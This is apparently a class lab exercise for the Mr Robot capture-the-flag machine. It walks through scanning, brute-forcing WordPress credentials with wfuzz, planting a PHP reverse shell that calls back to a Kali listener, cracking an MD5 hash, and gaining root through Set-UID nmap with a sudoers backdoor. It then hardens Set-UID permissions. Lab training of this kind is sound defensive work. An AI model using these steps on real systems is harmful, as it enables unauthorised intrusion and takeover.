Exercise: Hacking Mr Robot - Defending with Pre-emptive File Permissions

Steps

1. Run an nmap scan across the entirety of the MrRobot virtual machine's TCP ports:

   ```
   nmap -Pn -sT -p- mrrobot
   ```

2. It looks like we'll only be interacting with ports 80 and 443. If we need to, we can scan UDP ports later. Start by opening a browser and browsing to: http://mrrobot/

3. Interact with this web application a bit. You'll find some entertaining show tie-ins.

4. When you're done playing around, start out by checking out this site's robots.txt file. Site owners use this file to politely ask search engines to ignore certain directories or items.

   http://mrrobot/robots.txt

5. You'll see two files listed. Grab the first one, the flag:

   http://mrrobot/key-1-of-3.txt

6. Now, grab and save the other, a dictionary file full of words called `fsocity.dic`. The filename is intentionally misspelled. You could browse to it, but it would be faster to run this command:

   ```
   wget http://mrrobot/fsocity.dic
   ```

7. Take a look at the first 20 lines of this file by using head:

   ```
   head -20 fsocity.dic
   ```

8. We see proper nouns from the show, mixed with random words. Penetration testers often scrape the client's website for all the proper nouns, as these often end up being employees' passwords. Let's see how many password possibilities we're looking at:

   ```
   wc -l fsocity.dic
   ```

9. There are nearly 1 million! How about if we sample to make this go faster:

   ```
   head -100 fsocity.dic >wordlist.txt
   tail -100 fsocity.dic >>wordlist.txt
   ```

10. Let's try another standard web application penetration test (and Capture the Flag) practice. Let's look for directories and files that either often bear fruit (things like test.php) or belong to well-known applications. We'll fire up dirbuster:

    ```
    dirbuster
    ```

11. In the dirbuster window, fill out the target URL with: `http://mrrobot/`

12. To complete the "File with list of dirs/files" box, choose the "Browse" box to its right, then navigate that window to `/usr/share/dirbuster/wordlists/` and choose `directory-list-lowercase-2.3-small.txt`.

13. Click the button that toggles off "Be recursive."

14. Now click the "Start" button in the lower right corner of the dirbuster window.

15. Next click the "Results-List View" tab to see the results update in real time.

16. Sort this reverse alphabetically by the Found column by clicking the word Found twice.

17. Stop the scan when it finds `wp-login.php`.

18. We find a Wordpress login page! Maybe Elliot (the show's protagonist) isn't quite so elite. Let's fool around with the page. Surf to: http://mrrobot/wp-login.php

19. Try putting in `hacker` as the username and `pw` as the password.

20. Interesting! This version of Wordpress tells us that our username is invalid. That's a vulnerability, generally called "Guessable User Accounts." We'll now set up `wfuzz` to try all the words in `wordlist.txt` as usernames.

21. Hit `Ctrl-U` to view the source on the `wp-login.php` page so we can find the name of the variables submitted for username and password. You should find a form that submits a username as the variable `log` and the password as the variable `pwd`, like so:

    ```
    <form name="loginform" id="loginform" action="https://www.mrrobot.com/wp-login.php" met
    ...
    <input type="text" name="log" ...>
    ...
    <input type="password" name="pwd" ...>
    ...
    <input type="submit" name="wp-submit" ... value="Log In" />
    ```

22. Construct your `wfuzz` command to try all the `wordlist.txt` lines as options for the `log` variable, while submitting a constant `password` value for the `pwd` variable.

```
wfuzz -c -z file,wordlist.txt --hs "Invalid username" -d "log=FUZZ&pwd=password" http:/
```

23. It looks like we have a working username: `Elliot`. If you already tried this before running `wfuzz`, good for you!

24. Try logging with your browser using `Elliot` as the username and `pass` as the password, so we can see what message we get when the password is incorrect. We'll modify the `wfuzz` command so that it guesses the pwd field, looking for "password you entered" to mean it got it wrong. Let's try guessing passwords now.

```
wfuzz -c -z file,wordlist.txt --hs "password you entered" -d "log=Elliot&pwd=FUZZ" http
```

25. This wfuzz run will produce the password `ER28-0652`.

26. Use the username `Elliot` and the password `ER28-0652` to log into Wordpress, the application hosting Elliot's site.

27. On the left side of the browser window, click "Appearance", then look below that button to click on the word "Editor".

28. On the right side of the screen, find the `404 Template` and select it, if it hasn't already been selected. 404 pages are rendered when a requested URL doesn't exist.

29. We're going to replace the normal `404.php` page with a PHP reverse shell. Take a look at what Kali has to offer in `/usr/share/webshells`:

```
cd /usr/share/webshells
ls
```

30. We have webshell directories for a number of different languages! Look at the PHP options:

```
ls php/
```

31. Now, let's use the PHP reverse shell. Copy it back to `/home/lockthisdown` so we can tune it.

```
cp php/php-reverse-shell.php ~/
```

32. Let's edit that reverse shell:

```
cd ~/
mousepad php-reverse-shell.php
```

33. Change lines 49 and 50 to point to your local Kali system's virtualized `virbr0` interface:

```
$ip = '10.23.58.30';
$port = 4444;
```

34. Now hit `Ctrl-A` to select all the text in the `mousepad` window, then `Ctrl-C` to copy it to the clipboard.

35. Now switch back to your web browser and select all the text in the current `404.php` document by using `Ctrl-A`.

36. Now hit `Ctrl-V` to replace that text with the PHP web shell from the clipboard.

37. Using the scrollbar on the far right side of the screen (to the right of the file names), scroll the page down until you can see the blue "Update File" button below the text you just copied in.

38. Click this blue "Update File" button.

39. In a terminal window, start a netcat listener to catch the reverse shell you will soon be sending:

    ```
    nc -l -p 4444
    ```

40. Now visit a non-existent link in your browser, to trigger the 404.php page:

    http://mrrobot/this-page-does-not-exist

41. Switch back to the terminal window that has the netcat listener in it. You'll find a shell!

42. This complains that it can't access a TTY. Let's make this a more functional shell. We'll construct and run a quick Python program, using a standard penetration test technique (works in both `python2` and `python3`!):

    ```
    echo "import pty" >/tmp/shell.py
    echo "pty.spawn('/bin/bash')" >>/tmp/shell.py
    python /tmp/shell.py
    ```

43. Now you have a TTY. Poke around the system a bit. When you're done exploring, list out `/home` to see what we can find about the system's users.

    ```
    ls /home
    ```

44. Note that there's a `robot` user. Let's see if we can list their home directory:

    ```
    ls -l /home/robot
    ```

45. It looks like the second flag is there, but not readable by our user. On the other hand, there is a world readable `password.raw-md5` file. Let's look at that:

    ```
    cat /home/robot/password.raw-md5
    ```

46. This has an MD5-encrypted password. We could set up a dictionary attack with John the Ripper, but these days, it's faster to find a web site that's built a rainbow tables of hashes. Let's use HashToolkit via this URL - enter the hash into the first input.

https://hashtoolkit.com/

47. Two other sites that can reverse the hash follow - do not click on any big green "Start Now" buttons there. These are likely adware.

    - https://hashtoolkit.com/
    - https://md5.gromweb.com/

    Note: if enough people are hitting the these pages at the same time, it can cause a limit on number of queries per hour. If you run into this kind of problem, please know that the answer you would have received is `abcdefghijklmnopqrstuvwxyz`.

48. Let's switch user to robot using the `su` command and the password we just got:

    ```
    su - robot
    ```

49. Now get your second flag:

    ```
    cat key-2-of-3.txt
    ```

50. Let's now set a terminal variable so the next command's output will be a bit more readable:

    ```
    export TERM=vt100
    ```

51. Now, we need to escalate privilege to `root`. There are many kinds of privilege escalations that we could try. The one that works for this CTF virtual machine is to find an unusual (and thus often vulnerable) Set-UID program. Search for the Set-UID programs on this system's main partition:

    ```
    find / -xdev -perm -04000 -ls 2>/dev/null
    ```

52. Notice that the system owner has made `nmap` Set-UID to `root`!

53. Run `nmap`'s interactive mode – this has been removed from more recent versions:

    ```
    /usr/local/bin/nmap --interactive
    ```

54. Hit `h`, then enter, to see the possible commands. Notice that `!` will run a shell command. See what your effective UID (`euid`) is:

    ```
    ! id
    ```

55. You've got the ability to run commands as `root`. Let's use this as effectively as possible. Let's add our `robot` user to the sudoers file.

    ```
    ! echo "robot ALL=(ALL) NOPASSWD:ALL" >>/etc/sudoers
    ```

56. Now exit the nmap shell and sudo to root:

    ```
    exit
    python /tmp/shell.py
    sudo su -
    ```

57. Grab the third flag:

    ```
    cat key-3-of-3.txt
    ```

58. This is your system now! Activate the SSH server for a more convenient login method. The SSH server is somehow a little broken on this system, potentially because the creator didn't want us to do this, so we'll run this:

    ```
    mkdir /var/run/sshd
    /usr/sbin/sshd &
    ```

59. Now let's move into defending this system. We can keep using this same reverse shell to harden the system, or we can SSH in.

60. If you think through the attack, it had these steps:

    1. Guess access credentials to the Wordpress authoring functionality
    2. Plant a PHP-reverse shell in Wordpress
    3. Trigger the shell and thus gain the web server's user: `daemon`
    4. Find an MD5 hash of human user `robot`'s password and reverse it to the password
    5. `su` to user `robot` using the reversed password
    6. Find an unusual/vulnerable Set-UID program, `nmap`
    7. Exploit shell-based functionality in `nmap` to gain `root`

    This list's fifth item stands out here as something you could proactively protect against. There's no reason that the web server's user (`daemon`) should have execute rights on `su`, or possibly any Set-UID program.

61. Let's create a `humans` group into which all human users will go, make that group own the Set-UID binaries on the system, and remove the world-execute bit.

62. First, create the `humans` group.

    ```
    groupadd humans
    ```

63. Now add `robot` to this group:

    ```
    usermod -a -G humans robot
    ```

    You would then add any other human users to this group. You don't have to do this manually. You could create a simple shell script that looks for users who have a real shell listed in `/etc/passwd`. Define "real shell" as one that is listed in `/etc/shells`. Then your shell script would populate the humans group with these users. You could even run this as a cron job hourly, or make it part of your useradd script.

64. Next, loop over the world-executable Set-UID binaries, setting each one's group owner and changing its permissions to `4750`:

    ```
    for file in `find / -perm -4001 2>/dev/null` ; do
        chgrp humans $file
    ```

```
    chmod 4750 $file
done
```

65. Now, test that the `robot` user can still run `ping` with `root`'s privileges. Switch to the `robot` user and trying a `ping` command. If you are already the `robot` user in a different session, you'll need to log that out and log it back in as `robot`, so that `robot` will get their new group:

    ```
    su - robot
    ping -c 4 8.8.8.8
    exit
    ```

66. Now, test that the protection worked. The non-human `daemon` user, which the web server runs as, should not be able to `ping`. Switch to the `daemon` user and try a `ping` command:

    ```
    su -s /bin/bash daemon
    ping -c 4 8.8.8.8
    exit
    ```

67. When this exercise is done, please `kill` any netcat listeners so they don't interfere with future exercises:

    ```
    pid=`ps -ef | grep "n[c] 10" | awk '{print $2}'`
    kill $pid
    ```

68. Change your Slack status to `:thumbsup:`.

69. Suspend the virtual machines:

    ```
    sudo /scripts/suspend-all-vms.sh
    ```

Wrap Up

Please suspend this virtual machine using the following command – do not shut it down – we use this virtual machine four times total in this class.

```
virsh managedsave mrrobot
```

For extra credit, create an `admin` group, populating it with the administrative users. Then change the group ownership on the `su` and `sudo` binaries to `admin`. On this system, you should make `robot` one of those administrative users, as well as any that you've added to make administration easier. Make sure to reset the Set-UID, like so: `chmod 4750 <binary>` Set-UID is deactivated automatically by any `chgrp`.

For extra, extra credit, remove Set-UID from binaries that clearly no non-admin user should need to run, like `umount` (used for unmounting filesystems), and on binaries that clearly nobody should need to run, like `chfn` (used for changing a user's `fingerd` information.)